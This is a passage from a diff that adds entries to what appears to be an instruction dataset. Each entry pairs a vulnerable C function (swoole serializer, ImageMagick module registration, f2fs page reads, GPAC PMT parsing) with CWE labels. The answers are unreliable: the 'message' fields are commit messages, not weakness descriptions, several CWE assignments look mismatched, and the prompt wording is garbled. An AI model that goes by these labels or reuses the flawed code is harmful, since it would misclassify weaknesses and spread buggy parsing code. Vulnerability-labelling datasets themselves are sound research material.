SERIA_SET_ENTRY_SHORT(buffer, key->len);\n                        swoole_string_cpy(buffer, key->val, key->len);\n                    }\n                    else\n                    {\n                        type.key_len = 0;\n                        SERIA_SET_ENTRY_TYPE(buffer, type);\n                        swoole_mini_filter_add(key, buffer->offset, 3);\n                        swoole_string_cpy(buffer, key + XtOffsetOf(zend_string, len), sizeof (size_t) + key->len);\n                    }\n                }\n            }\n            else\n            {\n                type.key_type = KEY_TYPE_INDEX;\n                if (index <= 0xff)\n                {\n                    type.key_len = 1;\n                    SERIA_SET_ENTRY_TYPE(buffer, type);\n                    SERIA_SET_ENTRY_TYPE(buffer, index);\n                }\n                else if (index <= 0xffff)\n                {\n                    type.key_len = 2;\n                    SERIA_SET_ENTRY_TYPE(buffer, type);\n                    SERIA_SET_ENTRY_SHORT(buffer, index);\n                }\n                else\n                {\n                    type.key_len = 3;\n                    SERIA_SET_ENTRY_TYPE(buffer, type);\n                    SERIA_SET_ENTRY_ULONG(buffer, index);\n                }\n\n            }\n        }\n        //seria data\ntry_again:\n        switch (Z_TYPE_P(data))\n        {\n            case IS_STRING:\n            {\n                if ((swStr = swoole_mini_filter_find(Z_STR_P(data))))\n                {\n                    ((SBucketType*) (buffer->buffer + p))->data_len = 3; //means use same string\n                    if (swStr->offset & 4)\n                    {\n                        SERIA_SET_ENTRY_SIZE4(buffer, swStr->offset);\n                    }\n                    else\n                    {\n                        SERIA_SET_ENTRY_SHORT(buffer, swStr->offset);\n                    }\n                }\n                else\n                {\n                    if (Z_STRLEN_P(data) <= 0xff)\n                    {\n                        ((SBucketType*) (buffer->buffer + p))->data_len = 1;\n                        swoole_mini_filter_add(Z_STR_P(data), buffer->offset, 1);\n                        SERIA_SET_ENTRY_TYPE(buffer, Z_STRLEN_P(data));\n                        swoole_string_cpy(buffer, Z_STRVAL_P(data), Z_STRLEN_P(data));\n                    }\n                    else if (Z_STRLEN_P(data) <= 0xffff)\n                    {\n                        ((SBucketType*) (buffer->buffer + p))->data_len = 2;\n                        swoole_mini_filter_add(Z_STR_P(data), buffer->offset, 2);\n                        SERIA_SET_ENTRY_SHORT(buffer, Z_STRLEN_P(data));\n                        swoole_string_cpy(buffer, Z_STRVAL_P(data), Z_STRLEN_P(data));\n                    }\n                    else\n                    {//if more than this  don't need optimize\n                        ((SBucketType*) (buffer->buffer + p))->data_len = 0;\n                        swoole_mini_filter_add(Z_STR_P(data), buffer->offset, 3);\n                        swoole_string_cpy(buffer, (char*) Z_STR_P(data) + XtOffsetOf(zend_string, len), sizeof (size_t) + Z_STRLEN_P(data));\n                    }\n                }\n                break;\n            }\n            case IS_LONG:\n            {\n                SBucketType* long_type = (SBucketType*) (buffer->buffer + p);\n                swoole_serialize_long(buffer, data, long_type);\n                break;\n            }\n            case IS_DOUBLE:\n                swoole_set_zend_value(buffer, &(data->value));\n                break;\n            case IS_REFERENCE:\n                data = Z_REFVAL_P(data);\n                ((SBucketType*) (buffer->buffer + p))->data_type = Z_TYPE_P(data);\n                goto try_again;\n                break;\n            case IS_ARRAY:\n            {\n                zend_array *ht = Z_ARRVAL_P(data);\n\n                if (GC_IS_RECURSIVE(ht))\n                {\n                    ((SBucketType*) (buffer->buffer + p))->data_type = IS_NULL;//reset type null\n                    php_error_docref(NULL TSRMLS_CC, E_NOTICE, \"the array has cycle ref\");\n                }\n                else\n                {\n                    seria_array_type(ht, buffer, p, buffer->offset);\n                    if (ZEND_HASH_APPLY_PROTECTION(ht))\n                    {\n                        GC_PROTECT_RECURSION(ht);\n                        swoole_serialize_arr(buffer, ht);\n                        GC_UNPROTECT_RECURSION(ht);\n                    }\n                    else\n                    {\n                        swoole_serialize_arr(buffer, ht);\n                    }\n\n                }\n                break;\n            }\n                //object propterty table is this type\n            case IS_INDIRECT:\n                data = Z_INDIRECT_P(data);\n                zend_uchar type = Z_TYPE_P(data);\n                ((SBucketType*) (buffer->buffer + p))->data_type = (type == IS_UNDEF ? IS_NULL : type);\n                goto try_again;\n                break;\n            case IS_OBJECT:\n            {\n                /*\n                 * layout\n                 * type | key | namelen | name | bucket len |buckets\n                 */\n                ((SBucketType*) (buffer->buffer + p))->data_type = IS_UNDEF;\n\n                if (ZEND_HASH_APPLY_PROTECTION(Z_OBJPROP_P(data)))\n                {\n                    GC_PROTECT_RECURSION(Z_OBJPROP_P(data));\n                    swoole_serialize_object(buffer, data, p);\n                    GC_UNPROTECT_RECURSION(Z_OBJPROP_P(data));\n                }\n                else\n                {\n                    swoole_serialize_object(buffer, data, p);\n                }\n\n                break;\n            }\n            default://\n                break;\n\n        }\n\n    }\n    ZEND_HASH_FOREACH_END();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-502'], 'message': 'add buffer end check'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MagickExport void RegisterStaticModules(void)\n{\n  size_t\n    extent;\n\n  ssize_t\n    i;\n\n  extent=sizeof(MagickModules)/sizeof(MagickModules[0]);\n  for (i=0; i < (ssize_t) extent; i++)\n  {\n    if (MagickModules[i].registered == MagickFalse)\n      {\n        (void) (MagickModules[i].register_module)();\n        MagickModules[i].registered=MagickTrue;\n      }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-362'], 'message': 'Added missing policy checks in RegisterStaticModules.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int f2fs_read_single_page(struct inode *inode, struct page *page,\n\t\t\t\t\tunsigned nr_pages,\n\t\t\t\t\tstruct f2fs_map_blocks *map,\n\t\t\t\t\tstruct bio **bio_ret,\n\t\t\t\t\tsector_t *last_block_in_bio,\n\t\t\t\t\tbool is_readahead)\n{\n\tstruct bio *bio = *bio_ret;\n\tconst unsigned blkbits = inode->i_blkbits;\n\tconst unsigned blocksize = 1 << blkbits;\n\tsector_t block_in_file;\n\tsector_t last_block;\n\tsector_t last_block_in_file;\n\tsector_t block_nr;\n\tint ret = 0;\n\n\tblock_in_file = (sector_t)page->index;\n\tlast_block = block_in_file + nr_pages;\n\tlast_block_in_file = (i_size_read(inode) + blocksize - 1) >>\n\t\t\t\t\t\t\tblkbits;\n\tif (last_block > last_block_in_file)\n\t\tlast_block = last_block_in_file;\n\n\t/* just zeroing out page which is beyond EOF */\n\tif (block_in_file >= last_block)\n\t\tgoto zero_out;\n\t/*\n\t * Map blocks using the previous result first.\n\t */\n\tif ((map->m_flags & F2FS_MAP_MAPPED) &&\n\t\t\tblock_in_file > map->m_lblk &&\n\t\t\tblock_in_file < (map->m_lblk + map->m_len))\n\t\tgoto got_it;\n\n\t/*\n\t * Then do more f2fs_map_blocks() calls until we are\n\t * done with this page.\n\t */\n\tmap->m_lblk = block_in_file;\n\tmap->m_len = last_block - block_in_file;\n\n\tret = f2fs_map_blocks(inode, map, 0, F2FS_GET_BLOCK_DEFAULT);\n\tif (ret)\n\t\tgoto out;\ngot_it:\n\tif ((map->m_flags & F2FS_MAP_MAPPED)) {\n\t\tblock_nr = map->m_pblk + block_in_file - map->m_lblk;\n\t\tSetPageMappedToDisk(page);\n\n\t\tif (!PageUptodate(page) && !cleancache_get_page(page)) {\n\t\t\tSetPageUptodate(page);\n\t\t\tgoto confused;\n\t\t}\n\n\t\tif (!f2fs_is_valid_blkaddr(F2FS_I_SB(inode), block_nr,\n\t\t\t\t\t\tDATA_GENERIC_ENHANCE_READ)) {\n\t\t\tret = -EFSCORRUPTED;\n\t\t\tgoto out;\n\t\t}\n\t} else {\nzero_out:\n\t\tzero_user_segment(page, 0, PAGE_SIZE);\n\t\tif (!PageUptodate(page))\n\t\t\tSetPageUptodate(page);\n\t\tunlock_page(page);\n\t\tgoto out;\n\t}\n\n\t/*\n\t * This page will go to BIO.  Do we need to send this\n\t * BIO off first?\n\t */\n\tif (bio && (*last_block_in_bio != block_nr - 1 ||\n\t\t!__same_bdev(F2FS_I_SB(inode), block_nr, bio))) {\nsubmit_and_realloc:\n\t\t__submit_bio(F2FS_I_SB(inode), bio, DATA);\n\t\tbio = NULL;\n\t}\n\tif (bio == NULL) {\n\t\tbio = f2fs_grab_read_bio(inode, block_nr, nr_pages,\n\t\t\t\tis_readahead ? REQ_RAHEAD : 0);\n\t\tif (IS_ERR(bio)) {\n\t\t\tret = PTR_ERR(bio);\n\t\t\tbio = NULL;\n\t\t\tgoto out;\n\t\t}\n\t}\n\n\t/*\n\t * If the page is under writeback, we need to wait for\n\t * its completion to see the correct decrypted data.\n\t */\n\tf2fs_wait_on_block_writeback(inode, block_nr);\n\n\tif (bio_add_page(bio, page, blocksize, 0) < blocksize)\n\t\tgoto submit_and_realloc;\n\n\tinc_page_count(F2FS_I_SB(inode), F2FS_RD_DATA);\n\tClearPageError(page);\n\t*last_block_in_bio = block_nr;\n\tgoto out;\nconfused:\n\tif (bio) {\n\t\t__submit_bio(F2FS_I_SB(inode), bio, DATA);\n\t\tbio = NULL;\n\t}\n\tunlock_page(page);\nout:\n\t*bio_ret = bio;\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'f2fs: support swap file w/ DIO\n\nSigned-off-by: Jaegeuk Kim '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void gf_m2ts_process_pmt(GF_M2TS_Demuxer *ts, GF_M2TS_SECTION_ES *pmt, GF_List *sections, u8 table_id, u16 ex_table_id, u8 version_number, u8 last_section_number, u32 status)\n{\n\tu32 info_length, pos, desc_len, evt_type, nb_es,i;\n\tu32 nb_sections;\n\tu32 data_size;\n\tu32 nb_hevc, nb_hevc_temp, nb_shvc, nb_shvc_temp, nb_mhvc, nb_mhvc_temp;\n\tunsigned char *data;\n\tGF_M2TS_Section *section;\n\tGF_Err e = GF_OK;\n\n\t/*wait for the last section */\n\tif (!(status&GF_M2TS_TABLE_END)) return;\n\n\tnb_es = 0;\n\n\t/*skip if already received but no update detected (eg same data) */\n\tif ((status&GF_M2TS_TABLE_REPEAT) && !(status&GF_M2TS_TABLE_UPDATE))  {\n\t\tif (ts->on_event) ts->on_event(ts, GF_M2TS_EVT_PMT_REPEAT, pmt->program);\n\t\treturn;\n\t}\n\n\tif (pmt->sec->demux_restarted) {\n\t\tpmt->sec->demux_restarted = 0;\n\t\treturn;\n\t}\n\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[MPEG-2 TS] PMT Found or updated\\n\"));\n\n\tnb_sections = gf_list_count(sections);\n\tif (nb_sections > 1) {\n\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"PMT on multiple sections not supported\\n\"));\n\t}\n\n\tsection = (GF_M2TS_Section *)gf_list_get(sections, 0);\n\tdata = section->data;\n\tdata_size = section->data_size;\n\n\tpmt->program->pcr_pid = ((data[0] & 0x1f) << 8) | data[1];\n\n\tinfo_length = ((data[2]&0xf)<<8) | data[3];\n\tif (info_length != 0) {\n\t\t/* ...Read Descriptors ... */\n\t\tu8 tag, len;\n\t\tu32 first_loop_len = 0;\n\t\ttag = data[4];\n\t\tlen = data[5];\n\t\twhile (info_length > first_loop_len) {\n\t\t\tif (tag == GF_M2TS_MPEG4_IOD_DESCRIPTOR) {\n\t\t\t\tu32 size;\n\t\t\t\tGF_BitStream *iod_bs;\n\t\t\t\tiod_bs = gf_bs_new((char *)data+8, len-2, GF_BITSTREAM_READ);\n\t\t\t\tif (pmt->program->pmt_iod) gf_odf_desc_del((GF_Descriptor *)pmt->program->pmt_iod);\n\t\t\t\te = gf_odf_parse_descriptor(iod_bs , (GF_Descriptor **) &pmt->program->pmt_iod, &size);\n\t\t\t\tgf_bs_del(iod_bs );\n\t\t\t\tif (e==GF_OK) {\n\t\t\t\t\t/*remember program number for service/program selection*/\n\t\t\t\t\tif (pmt->program->pmt_iod) pmt->program->pmt_iod->ServiceID = pmt->program->number;\n\t\t\t\t\t/*if empty IOD (freebox case), discard it and use dynamic declaration of object*/\n\t\t\t\t\tif (!gf_list_count(pmt->program->pmt_iod->ESDescriptors)) {\n\t\t\t\t\t\tgf_odf_desc_del((GF_Descriptor *)pmt->program->pmt_iod);\n\t\t\t\t\t\tpmt->program->pmt_iod = NULL;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (tag == GF_M2TS_METADATA_POINTER_DESCRIPTOR) {\n\t\t\t\tGF_BitStream *metadatapd_bs;\n\t\t\t\tGF_M2TS_MetadataPointerDescriptor *metapd;\n\t\t\t\tmetadatapd_bs = gf_bs_new((char *)data+6, len, GF_BITSTREAM_READ);\n\t\t\t\tmetapd = gf_m2ts_read_metadata_pointer_descriptor(metadatapd_bs, len);\n\t\t\t\tgf_bs_del(metadatapd_bs);\n\t\t\t\tif (metapd->application_format_identifier == GF_M2TS_META_ID3 &&\n\t\t\t\t        metapd->format_identifier == GF_M2TS_META_ID3 &&\n\t\t\t\t        metapd->carriage_flag == METADATA_CARRIAGE_SAME_TS) {\n\t\t\t\t\t/*HLS ID3 Metadata */\n\t\t\t\t\tpmt->program->metadata_pointer_descriptor = metapd;\n\t\t\t\t} else {\n\t\t\t\t\t/* don't know what to do with it for now, delete */\n\t\t\t\t\tgf_m2ts_metadata_pointer_descriptor_del(metapd);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Skipping descriptor (0x%x) and others not supported\\n\", tag));\n\t\t\t}\n\t\t\tfirst_loop_len += 2 + len;\n\t\t}\n\t}\n\tif (data_size <= 4 + info_length) return;\n\tdata += 4 + info_length;\n\tdata_size -= 4 + info_length;\n\tpos = 0;\n\n\t/* count de number of program related PMT received */\n\tfor(i=0; iprograms); i++) {\n\t\tGF_M2TS_Program *prog = (GF_M2TS_Program *)gf_list_get(ts->programs,i);\n\t\tif(prog->pmt_pid == pmt->pid) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tnb_hevc = nb_hevc_temp = nb_shvc = nb_shvc_temp = nb_mhvc = nb_mhvc_temp = 0;\n\twhile (pos data_size) {\n\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"Broken PMT! size %d but position %d and need at least 5 bytes to declare es\\n\", data_size, pos));\n\t\t\tbreak;\n\t\t}\n\n\t\tstream_type = data[0];\n\t\tpid = ((data[1] & 0x1f) << 8) | data[2];\n\t\tdesc_len = ((data[3] & 0xf) << 8) | data[4];\n\n\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"stream_type :%d \\n\",stream_type));\n\t\tswitch (stream_type) {\n\n\t\t/* PES */\n\t\tcase GF_M2TS_VIDEO_MPEG1:\n\t\tcase GF_M2TS_VIDEO_MPEG2:\n\t\tcase GF_M2TS_VIDEO_DCII:\n\t\tcase GF_M2TS_VIDEO_MPEG4:\n\t\tcase GF_M2TS_SYSTEMS_MPEG4_PES:\n\t\tcase GF_M2TS_VIDEO_H264:\n\t\tcase GF_M2TS_VIDEO_SVC:\n\t\tcase GF_M2TS_VIDEO_MVCD:\n\t\tcase GF_M2TS_VIDEO_HEVC:\n\t\tcase GF_M2TS_VIDEO_HEVC_MCTS:\n\t\tcase GF_M2TS_VIDEO_HEVC_TEMPORAL:\n\t\tcase GF_M2TS_VIDEO_SHVC:\n\t\tcase GF_M2TS_VIDEO_SHVC_TEMPORAL:\n\t\tcase GF_M2TS_VIDEO_MHVC:\n\t\tcase GF_M2TS_VIDEO_MHVC_TEMPORAL:\n\t\t\tinherit_pcr = 1;\n\t\tcase GF_M2TS_AUDIO_MPEG1:\n\t\tcase GF_M2TS_AUDIO_MPEG2:\n\t\tcase GF_M2TS_AUDIO_AAC:\n\t\tcase GF_M2TS_AUDIO_LATM_AAC:\n\t\tcase GF_M2TS_AUDIO_AC3:\n\t\tcase GF_M2TS_AUDIO_DTS:\n\t\tcase GF_M2TS_MHAS_MAIN:\n\t\tcase GF_M2TS_MHAS_AUX:\n\t\tcase GF_M2TS_SUBTITLE_DVB:\n\t\tcase GF_M2TS_METADATA_PES:\n\t\t\tGF_SAFEALLOC(pes, GF_M2TS_PES);\n\t\t\tif (!pes) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tpes->cc = -1;\n\t\t\tpes->flags = GF_M2TS_ES_IS_PES;\n\t\t\tif (inherit_pcr)\n\t\t\t\tpes->flags |= GF_M2TS_INHERIT_PCR;\n\t\t\tes = (GF_M2TS_ES *)pes;\n\t\t\tbreak;\n\t\tcase GF_M2TS_PRIVATE_DATA:\n\t\t\tGF_SAFEALLOC(pes, GF_M2TS_PES);\n\t\t\tif (!pes) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tpes->cc = -1;\n\t\t\tpes->flags = GF_M2TS_ES_IS_PES;\n\t\t\tes = (GF_M2TS_ES *)pes;\n\t\t\tbreak;\n\t\t/* Sections */\n\t\tcase GF_M2TS_SYSTEMS_MPEG4_SECTIONS:\n\t\t\tGF_SAFEALLOC(ses, GF_M2TS_SECTION_ES);\n\t\t\tif (!ses) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tes = (GF_M2TS_ES *)ses;\n\t\t\tes->flags |= GF_M2TS_ES_IS_SECTION;\n\t\t\t/* carriage of ISO_IEC_14496 data in sections */\n\t\t\tif (stream_type == GF_M2TS_SYSTEMS_MPEG4_SECTIONS) {\n\t\t\t\t/*MPEG-4 sections need to be fully checked: if one section is lost, this means we lost\n\t\t\t\tone SL packet in the AU so we must wait for the complete section again*/\n\t\t\t\tses->sec = gf_m2ts_section_filter_new(gf_m2ts_process_mpeg4section, 0);\n\t\t\t\t/*create OD container*/\n\t\t\t\tif (!pmt->program->additional_ods) {\n\t\t\t\t\tpmt->program->additional_ods = gf_list_new();\n\t\t\t\t\tts->has_4on2 = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase GF_M2TS_13818_6_ANNEX_A:\n\t\tcase GF_M2TS_13818_6_ANNEX_B:\n\t\tcase GF_M2TS_13818_6_ANNEX_C:\n\t\tcase GF_M2TS_13818_6_ANNEX_D:\n\t\tcase GF_M2TS_PRIVATE_SECTION:\n\t\tcase GF_M2TS_QUALITY_SEC:\n\t\tcase GF_M2TS_MORE_SEC:\n\t\t\tGF_SAFEALLOC(ses, GF_M2TS_SECTION_ES);\n\t\t\tif (!ses) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tes = (GF_M2TS_ES *)ses;\n\t\t\tes->flags |= GF_M2TS_ES_IS_SECTION;\n\t\t\tes->pid = pid;\n\t\t\tes->service_id = pmt->program->number;\n\t\t\tif (stream_type == GF_M2TS_PRIVATE_SECTION) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"AIT sections on pid %d\\n\", pid));\n\t\t\t} else if (stream_type == GF_M2TS_QUALITY_SEC) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"Quality metadata sections on pid %d\\n\", pid));\n\t\t\t} else if (stream_type == GF_M2TS_MORE_SEC) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"MORE sections on pid %d\\n\", pid));\n\t\t\t} else {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"stream type DSM CC user private sections on pid %d \\n\", pid));\n\t\t\t}\n\t\t\t/* NULL means: trigger the call to on_event with DVB_GENERAL type and the raw section as payload */\n\t\t\tses->sec = gf_m2ts_section_filter_new(NULL, 1);\n\t\t\t//ses->sec->service_id = pmt->program->number;\n\t\t\tbreak;\n\n\t\tcase GF_M2TS_MPE_SECTIONS:\n\t\t\tif (! ts->prefix_present) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"stream type MPE found : pid = %d \\n\", pid));\n#ifdef GPAC_ENABLE_MPE\n\t\t\t\tes = gf_dvb_mpe_section_new();\n\t\t\t\tif (es->flags & GF_M2TS_ES_IS_SECTION) {\n\t\t\t\t\t/* NULL means: trigger the call to on_event with DVB_GENERAL type and the raw section as payload */\n\t\t\t\t\t((GF_M2TS_SECTION_ES*)es)->sec = gf_m2ts_section_filter_new(NULL, 1);\n\t\t\t\t}\n#endif\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tdefault:\n\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Stream type (0x%x) for PID %d not supported\\n\", stream_type, pid ) );\n\t\t\t//GF_LOG(/*GF_LOG_WARNING*/GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Stream type (0x%x) for PID %d not supported\\n\", stream_type, pid ) );\n\t\t\tbreak;\n\t\t}\n\n\t\tif (es) {\n\t\t\tes->stream_type = (stream_type==GF_M2TS_PRIVATE_DATA) ? 0 : stream_type;\n\t\t\tes->program = pmt->program;\n\t\t\tes->pid = pid;\n\t\t\tes->component_tag = -1;\n\t\t}\n\n\t\tpos += 5;\n\t\tdata += 5;\n\n\t\twhile (desc_len) {\n\t\t\tif (pos + 2 > data_size) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"Broken PMT descriptor! size %d but position %d and need at least 2 bytes to parse descritpor\\n\", data_size, pos));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tu8 tag = data[0];\n\t\t\tu32 len = data[1];\n\n\t\t\tif (pos + 2 + len > data_size) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"Broken PMT descriptor! size %d, desc size %d but position %d\\n\", data_size, len, pos));\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (es) {\n\t\t\t\tswitch (tag) {\n\t\t\t\tcase GF_M2TS_ISO_639_LANGUAGE_DESCRIPTOR:\n\t\t\t\t\tif (pes && (len>=3) )\n\t\t\t\t\t\tpes->lang = GF_4CC(' ', data[2], data[3], data[4]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_MPEG4_SL_DESCRIPTOR:\n\t\t\t\t\tif (len>=2) {\n\t\t\t\t\t\tes->mpeg4_es_id = ( (u32) data[2] & 0x1f) << 8  | data[3];\n\t\t\t\t\t\tes->flags |= GF_M2TS_ES_IS_SL;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_REGISTRATION_DESCRIPTOR:\n\t\t\t\t\tif (len>=4) {\n\t\t\t\t\t\treg_desc_format = GF_4CC(data[2], data[3], data[4], data[5]);\n\t\t\t\t\t\t/*cf http://www.smpte-ra.org/mpegreg/mpegreg.html*/\n\t\t\t\t\t\tswitch (reg_desc_format) {\n\t\t\t\t\t\tcase GF_M2TS_RA_STREAM_AC3:\n\t\t\t\t\t\t\tes->stream_type = GF_M2TS_AUDIO_AC3;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase GF_M2TS_RA_STREAM_VC1:\n\t\t\t\t\t\t\tes->stream_type = GF_M2TS_VIDEO_VC1;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase GF_M2TS_RA_STREAM_GPAC:\n\t\t\t\t\t\t\tif (len==8) {\n\t\t\t\t\t\t\t\tes->stream_type = GF_4CC(data[6], data[7], data[8], data[9]);\n\t\t\t\t\t\t\t\tes->flags |= GF_M2TS_GPAC_CODEC_ID;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"Unknown registration descriptor %s\\n\", gf_4cc_to_str(reg_desc_format) ));\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_EAC3_DESCRIPTOR:\n\t\t\t\t\tes->stream_type = GF_M2TS_AUDIO_EC3;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_DATA_BROADCAST_ID_DESCRIPTOR:\n\t\t\t\t\tif (len>=2) {\n\t\t\t\t\t\tu32 id = data[2]<<8 | data[3];\n\t\t\t\t\t\tif ((id == 0xB) && ses && !ses->sec) {\n\t\t\t\t\t\t\tses->sec = gf_m2ts_section_filter_new(NULL, 1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_SUBTITLING_DESCRIPTOR:\n\t\t\t\t\tif (pes && (len>=8)) {\n\t\t\t\t\t\tpes->sub.language[0] = data[2];\n\t\t\t\t\t\tpes->sub.language[1] = data[3];\n\t\t\t\t\t\tpes->sub.language[2] = data[4];\n\t\t\t\t\t\tpes->sub.type = data[5];\n\t\t\t\t\t\tpes->sub.composition_page_id = (data[6]<<8) | data[7];\n\t\t\t\t\t\tpes->sub.ancillary_page_id = (data[8]<<8) | data[9];\n\t\t\t\t\t}\n\t\t\t\t\tes->stream_type = GF_M2TS_DVB_SUBTITLE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_STREAM_IDENTIFIER_DESCRIPTOR:\n\t\t\t\t\tif (len>=1) {\n\t\t\t\t\t\tes->component_tag = data[2];\n\t\t\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"Component Tag: %d on Program %d\\n\", es->component_tag, es->program->number));\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_TELETEXT_DESCRIPTOR:\n\t\t\t\t\tes->stream_type = GF_M2TS_DVB_TELETEXT;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_VBI_DATA_DESCRIPTOR:\n\t\t\t\t\tes->stream_type = GF_M2TS_DVB_VBI;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_HIERARCHY_DESCRIPTOR:\n\t\t\t\t\tif (pes && (len>=4)) {\n\t\t\t\t\t\tu8 hierarchy_embedded_layer_index;\n\t\t\t\t\t\tGF_BitStream *hbs = gf_bs_new((const char *)data, data_size, GF_BITSTREAM_READ);\n\t\t\t\t\t\t/*u32 skip = */gf_bs_read_int(hbs, 16);\n\t\t\t\t\t\t/*u8 res1 = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 temp_scal = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 spatial_scal = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 quality_scal = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 hierarchy_type = */gf_bs_read_int(hbs, 4);\n\t\t\t\t\t\t/*u8 res2 = */gf_bs_read_int(hbs, 2);\n\t\t\t\t\t\t/*u8 hierarchy_layer_index = */gf_bs_read_int(hbs, 6);\n\t\t\t\t\t\t/*u8 tref_not_present = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 res3 = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\thierarchy_embedded_layer_index = gf_bs_read_int(hbs, 6);\n\t\t\t\t\t\t/*u8 res4 = */gf_bs_read_int(hbs, 2);\n\t\t\t\t\t\t/*u8 hierarchy_channel = */gf_bs_read_int(hbs, 6);\n\t\t\t\t\t\tgf_bs_del(hbs);\n\n\t\t\t\t\t\tpes->depends_on_pid = 1+hierarchy_embedded_layer_index;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_METADATA_DESCRIPTOR:\n\t\t\t\t{\n\t\t\t\t\tGF_BitStream *metadatad_bs;\n\t\t\t\t\tGF_M2TS_MetadataDescriptor *metad;\n\t\t\t\t\tmetadatad_bs = gf_bs_new((char *)data+2, len, GF_BITSTREAM_READ);\n\t\t\t\t\tmetad = gf_m2ts_read_metadata_descriptor(metadatad_bs, len);\n\t\t\t\t\tgf_bs_del(metadatad_bs);\n\t\t\t\t\tif (metad->application_format_identifier == GF_M2TS_META_ID3 &&\n\t\t\t\t\t        metad->format_identifier == GF_M2TS_META_ID3) {\n\t\t\t\t\t\t/*HLS ID3 Metadata */\n\t\t\t\t\t\tif (pes) {\n\t\t\t\t\t\t\tpes->metadata_descriptor = metad;\n\t\t\t\t\t\t\tpes->stream_type = GF_M2TS_METADATA_ID3_HLS;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t/* don't know what to do with it for now, delete 